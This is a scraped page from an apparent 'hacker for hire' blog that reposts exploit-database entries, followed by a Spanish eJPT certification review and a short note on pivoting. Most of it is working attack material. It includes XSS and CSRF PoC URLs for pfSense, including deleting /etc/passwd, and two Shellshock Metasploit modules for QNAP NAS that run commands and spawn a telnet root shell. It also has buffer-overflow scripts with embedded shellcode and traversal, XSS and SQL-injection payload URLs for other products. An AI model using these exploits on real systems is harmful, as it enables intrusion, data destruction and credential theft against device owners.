Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863141682

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Advisory ID: HTB23251
Product: pfSense
Vendor: Electric Sheep Fencing LLC 
Vulnerable Version(s): 2.2 and probably prior
Tested Version: 2.2
Advisory Publication:  March 4, 2015  [without technical details]
Vendor Notification: March 4, 2015 
Vendor Patch: March 5, 2015 
Public Disclosure: March 25, 2015 
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2015-2294, CVE-2015-2295
Risk Level: Medium 
CVSSv2 Base Scores: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N), 5.4 (AV:N/AC:H/Au:N/C:N/I:N/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in web interface of pfSense, which can be exploited to perform Cross-Site Scripting (XSS) attacks against administrator of pfSense and delete arbitrary files via CSRF (Cross-Site Request Forgery) attacks.

Successful exploitation of the vulnerabilities may allow an attacker to delete arbitrary files on the system with root privileges, steal administrator’s cookies and gain complete control over the web application and even the entire system, as pfSense is running with root privileges and allows OS command execution via its web interface.


1) Multiple XSS vulnerabilities in pfSense: CVE-2015-2294

1.1 Input passed via the "zone" HTTP GET parameter to "/status_captiveportal.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.2 Input passed via the "if" and "dragtable" HTTP GET parameters to "/firewall_rules.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

Below are two PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.3 Input passed via the "queue" HTTP GET parameter to "/firewall_shaper.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.4 Input passed via the "id" HTTP GET parameter to "/services_unbound_acls.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.5 Input passed via the "filterlogentries_time", "filterlogentries_sourceipaddress", "filterlogentries_sourceport", "filterlogentries_destinationipaddress", "filterlogentries_interfaces", "filterlogentries_destinationport", "filterlogentries_protocolflags" and "filterlogentries_qty" HTTP GET parameters to "/diag_logs_filter.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

Below are eight PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E


2) Cross-Site Request Forgery (CSRF) in pfSense: CVE-2015-2295

2.1 The vulnerability exists due to insufficient validation of the HTTP request origin in "/system_firmware_restorefullbackup.php" script. A remote attacker can trick a log-in administrator to visit a malicious page with CSRF exploit and delete arbitrary files on the target system with root privileges.

The following PoC code deletes file "/etc/passwd":

https://[host]/system_firmware_restorefullbackup.php?deletefile=../etc/passwd


-----------------------------------------------------------------------------------------------

Solution:

Update to pfSense 2.2.1

More Information:
https://blog.pfsense.org/?p=1661

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23251 - https://www.htbridge.com/advisory/HTB23251 - Arbitrary file deletion and multiple XSS vulnerabilities in pfSense.
[2] pfSense - https://www.pfsense.org - The pfSense® project is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
HireHackking 
# Exploit Title: QNAP Web server remote code execution via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61


##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

   def initialize(info = {})
    super(update_info(info,
      'Name' => 'QNAP Web server remote code execution via Bash Environment Variable Code Injection',
      'Description' => %q{
		This module allows you to inject unix command with the same user who runs the http service - admin - directly on the QNAP system.
		Affected products:
		All Turbo NAS models except TS-100, TS-101, TS-200
		},
      'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
      'License' => MSF_LICENSE,
      'References' => [
			['CVE', '2014-6271'], #aka ShellShock
			['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']
		],
      'Platform'       => ['unix']
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),
      OptString.new('CMD', [ true, 'The command to run', '/bin/cat  /etc/passwd'])
    ], self.class)
  end

 def check
	begin
 	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; echo; /usr/bin/id"
      })
	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
		vprint_error("Connection failed")
		return Exploit::CheckCode::Unknown
 end
	
    if !res
      return Exploit::CheckCode::Unknown
    elsif res.code== 302 and res.body.include? 'uid'
	  return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end
	

  def run

	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; echo; #{datastore['CMD']}"
      })
	
	if res.body.empty?
		print_error("No data found.")
	elsif res.code== 302
		print_status("#{rhost}:#{rport} - bash env variable injected")
		puts " "
		print_line(res.body)
    end
	end
	
end
HireHackking 
#!/usr/bin/env python
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: RM Downloader v2.7.5.400 Local Buffer Overflow
#[+] Date: 25-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/49/Mini-streamRM-MP3Converter.exe?token=1427318981_98f71d0e10e2e3bd2e730179341feb0a&fileName=Mini-streamRM-MP3Converter.exe
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Related Vulnerability/ies:
#    http://www.exploit-db.com/exploits/8628/
#POC:
#IMG1:
#http://i.imgur.com/87sXIj8.png
from struct import pack
file="crack.ram"
junk="\x41"*35032
eip=pack('<I',0x7C9D30D7)
junk2="\x44"*4
#Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore
#http://www.exploit-db.com/exploits/28996/
shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
           "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
           "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
         "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
           "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
           "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
          "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
           "\x49\x0b\x31\xc0\x51\x50\xff\xd7")
writeFile = open (file, "w")
writeFile.write(junk+eip+junk2+shellcode)
writeFile.close()
HireHackking 
# Exploit Title: QNAP admin shell via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##

require 'msf/core'
require 'net/telnet'

class Metasploit3 < Msf::Auxiliary
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::CommandShell

   def initialize(info = {})
    super(update_info(info,
      'Name' => 'QNAP admin shell via Bash Environment Variable Code Injection',
      'Description' => %q{
		This module allows you to spawn a remote admin shell (utelnetd) on a QNAP device via Bash Environment Variable Code Injection.
		Affected products:
		All Turbo NAS models except TS-100, TS-101, TS-200
		},
      'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
      'License' => MSF_LICENSE,
      'References' => [
			['CVE', '2014-6271'], #aka ShellShock
			['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']
		],
      'Platform'       => ['unix']
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),
      OptPort.new('LTELNET', [true, 'Set the remote port where the utelnetd service will be listening','9993'])
    ], self.class)
  end

 def check
	begin
 	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; echo; /usr/bin/id"
      })
	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
		vprint_error("Connection failed")
		return Exploit::CheckCode::Unknown
 end
	
    if !res
      return Exploit::CheckCode::Unknown
    elsif res.code== 302 and res.body.include? 'uid'
	  return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end
	

  def exploit_telnet()
    telnetport = datastore['LTELNET']

    print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")

    print_status("#{rhost}:#{rport} - Sending exploit")
    begin
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

      if sock
        print_good("#{rhost}:#{rport} - Backdoor service spawned")
        add_socket(sock)
      else
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not spawned")
      end

      print_status "Starting a Telnet session #{rhost}:#{telnetport}"
      merge_me = {
        'USERPASS_FILE' => nil,
        'USER_FILE'     => nil,
        'PASS_FILE'     => nil,
        'USERNAME'      => nil,
        'PASSWORD'      => nil
      }
      start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
    rescue
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not handled")
    end
    return
  end

  def run
	begin
	telnetport = datastore['LTELNET']
	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; /bin/utelnetd -l/bin/sh -p#{telnetport} &"
      })		    
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
           Rex::HostUnreachable => e
      fail_with(Failure::Unreachable, e)
    ensure
      disconnect
    end
	exploit_telnet()
    
  end
	
end
HireHackking 
#!/usr/bin/env python
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Mini-sream Ripper v2.7.7.100 Local Buffer Overflow
#[+] Date: 25-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/43/Mini-streamRipper.exe?token=1427334864_8d9c5d7d948871f54ae14ed9304d1ddf&fileName=Mini-streamRipper.exe
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Original POC:
#    http://www.exploit-db.com/exploits/11197/
#POC:
#IMG1:
#http://i.imgur.com/ifXYgwx.png
#IMG2:
#http://i.imgur.com/ZMisj6R.png
from struct import pack
file="crack.m3u"
junk="\x41"*35032
eip=pack('<I',0x7C9D30D7)
junk2="\x44"*4
#Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore
#http://www.exploit-db.com/exploits/28996/
shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
           "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
           "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
         "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
           "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
           "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
          "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
           "\x49\x0b\x31\xc0\x51\x50\xff\xd7")
writeFile = open (file, "w")
writeFile.write(junk+eip+junk2+shellcode)
writeFile.close()
HireHackking 
source: https://www.securityfocus.com/bid/51286/info

HServer web server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.

HServer 0.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/..%5c..%5c..%5cboot.ini
http://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdr ivers%5cetc%5chosts
HireHackking 
source: https://www.securityfocus.com/bid/51280/info

StatIt is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

StatIt 4 is vulnerable; other versions may be affected. 

The following example URIs are available:

http://www.example.com/statit4/statistik.php?st_id=1&action=stat_last%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&enc=333263120212292&agent=ari/534.30&PHPSESSID=14d0f57363caf5ef2d7fb1b56238dace&PHPSESSID=14d0f57363caf5ef2d7fb1b56238dace

http://www.example.com/statit4/statistik.php?action=stat_tld&st_id=1&show=more%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E\&PHPSESSID=d8679fc904017bdf6b09f5d88f7cf979

http://www.example.com/statit4/statistik.php?action=stat_abfragen&st_id=1&show=more&order=2%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&sort=1&PHPSESSID=698bf9d1e988e3af70022f1dfb86fd33
HireHackking 
source: https://www.securityfocus.com/bid/51276/info

Yaws is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are possible.

Yaws 1.88 is vulnerable; other versions may be affected. 

http://www.example.com/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/editPage.yaws?node=home
HireHackking 
source: https://www.securityfocus.com/bid/51275/info

UBB.threads is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

UBB.threads 7.5.6 is vulnerable; other versions may also be affected. 

The following exploit data is available:

http://www.example.com/forums/ubbthreads.php/ubb/login/lostpw/1

POST /forums/ubbthreads.php
ubb=start_page&Loginname=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&Email=&buttforgot=I+forgot+my+password
HireHackking

Esta review ya está deprecated debido a la salida de la segunda versión de esta certificación, el eJPTv2.

Hace 2 semanas me presenté al eJPT y pude sacarlo con éxito, quería hablar sobre que me ha parecido esta certificación y hacer una review ya que siempre veo personas que tienen dudas sobre la misma (al igual que yo antes de hacerla).Voy a intentar abordar cosas como:

  • ¿Qué tan difícil es?
  • ¿Qué necesito saber?
  • ¿Vale la pena?
  • ¿Cómo es el examen?

Voy a intentar resolver todas estas dudas para los que tengan pensado o se estén pensando en hacer la certificación ^^

  • Contexto
  • ¿Vale la pena?
  • ¿Qué tan difícil es?
  • ¿Qué necesito saber?
  • ¿Cómo es el examen?
  • Tips
  • Conclusión

Contexto

Antes de nada, pongámonos en contexto. El eJPT ó eLearnSecurity Junior Penetration Tester, es una certificación de eLearnSecurity pensada para personas que quieran empezar una nueva carrera en el campo de la ciberseguridad, enfocado al Pentesting. Es una certificación 100% práctica que segun eLearnSecurity aborda los siguientes temas:

  • TCP/IP
  • IP Routing
  • LAN protocols and devices
  • HTTP and web technologies
  • Essential penetration testing processes and methodologies
  • Basic vulnerability assessment of networks
  • Basic vulnerability assessment of web applications
  • Exploitation with Metasploit
  • Simple web application manual exploitation
  • Basic information gathering and reconnaissance
  • Simple scanning and profiling the target

¿Vale la pena?

Diría que depende, si eres principiante, no sabes nada y quieres introducirte en este mundo, es una gran certificación para empezar ya que tocas lo esencial. Sin embargo, si ya eres mas o menos experimentado en el sentido de que has practicado con plataformas como TryHackMe o HackTheBox, puede que te parezca bastante sencilla la certificación.

En mi caso, yo antes de realizarla llevaba bastantes máquinas de TryHackMe hechas, y habia visto casi todos los directos desde hace 3 meses que s4vitar hace en twitch. Por lo que la metodología básica de un test de penetración la tenia mas o menos clara, aunque es algo que siempre se mejora con el tiempo.

También realicé el curso oficial que te recomienda eLearnSecurity para el eJPT de la mano de INE, es totalmente gratuito si te registras con el Starter Pass (Con una simple búsqueda en google lo encontrarás), si recién empiezas, es muy recomendable hacerlo ya que abarca todo desde cero.

A nivel de explotación el examen es muy básico, sin embargo, lo que mas noté y mejoré gracias al examen y los respectivos laboratorios del curso oficial fue la enumeración. En plataformas como THM o HTB estamos acostumbrados a tener una sola máquina y enumerar solo esa, además de conocer la IP de la máquina previamente.

Esto no es así en el eJPT. En la certificación te conectas por VPN a una red de la cual tu solo sabes la IP de red, gracias a la IP que te otorgan cuando te conectas. A partir de ahí, no sabes nada, por lo que no solo mejoras el Host Discovery, sino que además, cuando te encuentres frente a 7 máquinas por ejemplo y no solo 1, el cambio es abismal, se nota mucho. Ha sido de lo que mas me ha gustado de la certificación. Ha hecho que mejore en ese aspecto.

Y, volviendo al tema de si vale la pena, si eres principiante, si, 100% recomendada, si eres ya un poco experimentado, pues depende de ti. Si quieres mejorar la enumeración, además de obtener tu primera certificación y testear un poco a eLearnSecurity para ver como funciona, también la recomiendo. Pero tienes que ir con la idea, de que no va a haber casi nada de explotación.

¿Qué tan difícil es?

Arriba creo que mas o menos ya he dado una idea, pero básicamente, en explotación no es para nada complicado, es lo más básico en ese aspecto, con que sepas XSS, SQLi y alguna que otra explotación básica de windows todo bien. Lo que si, si no estás acostumbrado a enumerar es lo que mas te puede costar y abrumar al no ser solo 1 máquina, pero nada, poco a poco. Aparte de la enumeración y la explotación, lo demás son skills básicos que tienes que saber, lo veremos ahora.

¿Qué necesito saber?

Pues, los temas de los que debes controlar para poder abordar la certificación con éxito son:

  • Host Discovery
  • Ports Discovery
  • Enrutamiento Manual –> ip route
  • Fuerza bruta a Servicios
  • Fuerza bruta a Hashes
  • Fuzzing
  • Explotación básica, ya sea Windows o Linux –> no hay que saber nada sobre escalada de privilegios
  • XSS
  • SQLi
  • Wireshark
  • Conocimiento básico de redes

¿Cómo es el examen?

Por último, me gustaría dar algunos tips de cara al examen y explicar por encima su estructura (no haré spoilers, no es mi objetivo).

La certificación consiste en un examen tipo test de 20 preguntas y 4 posibles opciones (algunas multirespuesta) basadas en la práctica. Es decir, si te preguntan la contraseña del usuario Pepito, pues obviamente lo tienes que averiguar, asi que el examen es 100% práctico en un entorno donde puede haber tanto máquinas windows como linux. Tienes 3 días completos para contestar al tipo test y entregarlo.

El examen se puede completar fácilmente entre 3 y 8 horas, es sencillo acabarlo el primer día, por no decir, que 3 días son tiempo de sobra para completarla con tranquilidad.

En esta certificación y en las de eLearnSecurity no están prohibida ninguna herramienta, es decir, puedes usar SQLMap, Metasploit y lo que quieras, además de que el examen no es proctored, nadie te vigila mientras lo haces.

Ésta básicamente es la estructura del examen.

Tips

Tips como tal, mencionaría que fueras con calma, son 3 dias y 2 oportunidades de entregar el tipo test, además, son preguntas sencillas.

También destacaría que supieras como funciona el enrutamiento y las tablas de enrutamiento, prueba a montarte un laboratorio con 3 máquinas linux y 2 redes, e intenta que la máquina 1 use a la máquina 2 como router para poder comunicarse con la máquina 3 y viceversa, con esto seguro que te quedará bastante claro el tema, además, haz capturas con wireshark e intenta entender como se tramitan los paquetes, te ayudará.

Haz el mismo procedimiento de distintas formas, por ejemplo, cuando hagas host discovery, comprueba con al menos dos formas distintas que no se te escapa nada.

No juegues con mucha velocidad de paquetes cuando uses nmap, juega con un T4 o T5 como mucho, pero no le metas un min-rate, puede que no te detecte algún puerto de esta manera.

Organizate, no es 1 máquina como puedes estar acostumbrado, son varias, por lo que mantén tu zona de trabajo e información ordenada.

Trabaja en base a lo que te preguntan, es lo más cómodo.

Esto no es un CTF, seguro que muchas cosas son mas simples de lo que piensas.

Y el tip mas importante, disfruta aprendiendo.

Conclusión

Esto creo que es todo lo que me hubiera gustado saber antes del examen, espero que te sirva de ayuda, de todas formas, me puedes contactar por Linkedin o Twitter por si necesitas cualquier cosa o me quieras preguntar algo ^^. Si después de esto has decidido tanto presentarte como si no, está bien, en el caso de que lo vayas a hacer, mucha suerte, seguro que lo sacas ^^

Dicho esto,

Happy Hacking!

HireHackking 
source: https://www.securityfocus.com/bid/51274/info

Pligg CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pligg CMS 1.1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/demo/search/')%7B%7Dalert('xss');if('
HireHackking 
source: https://www.securityfocus.com/bid/51273/info

Pligg CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Pligg CMS 1.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/Audits/CMS/pligg_1.1.2/search.php?adv=1&status='and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search+&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0
HireHackking 
source: https://www.securityfocus.com/bid/51261/info

Limny is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Limny 3.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/login.php/"/><script>alert(&#039;zsl&#039;)</script>
HireHackking 
source: https://www.securityfocus.com/bid/51260/info

Orchard is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

Orchard 1.3.9 is vulnerable; other versions may be affected. 

http://www.example.com/orchard/Users/Account/LogOff?ReturnUrl=%2f%2fwww.netsparker.com%3f
HireHackking 
source: https://www.securityfocus.com/bid/51258/info

GraphicsClone Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/search/?term=<script>alert(document.cookie)</script>
HireHackking

¿Qué es el Pivoting?

Cuando comprometemos un equipo, mientras lo enumeramos, es probable que veamos que tenga acceso a otros equipos o incluso redes, que nosotros no tenemos acceso directamente.

Esto quiere decir, que tendremos que usar el equipo comprometido como «máquina de salto», para poder tener acceso a redes internas y otros equipos. Este proceso se puede repetir de forma recursiva.

Ejemplo gráfico:

pivoting 1

En esta imagen como vemos, de toda una red empresarial nosotros solo tenemos acceso a un equipo, el cual actúa de frontera entre la red interna y externa. Es a través de él, por el cual ejecutamos un pivoting para saltar a otro equipo, y repetimos el proceso, hasta llegar como vemos a un servidor crítico.

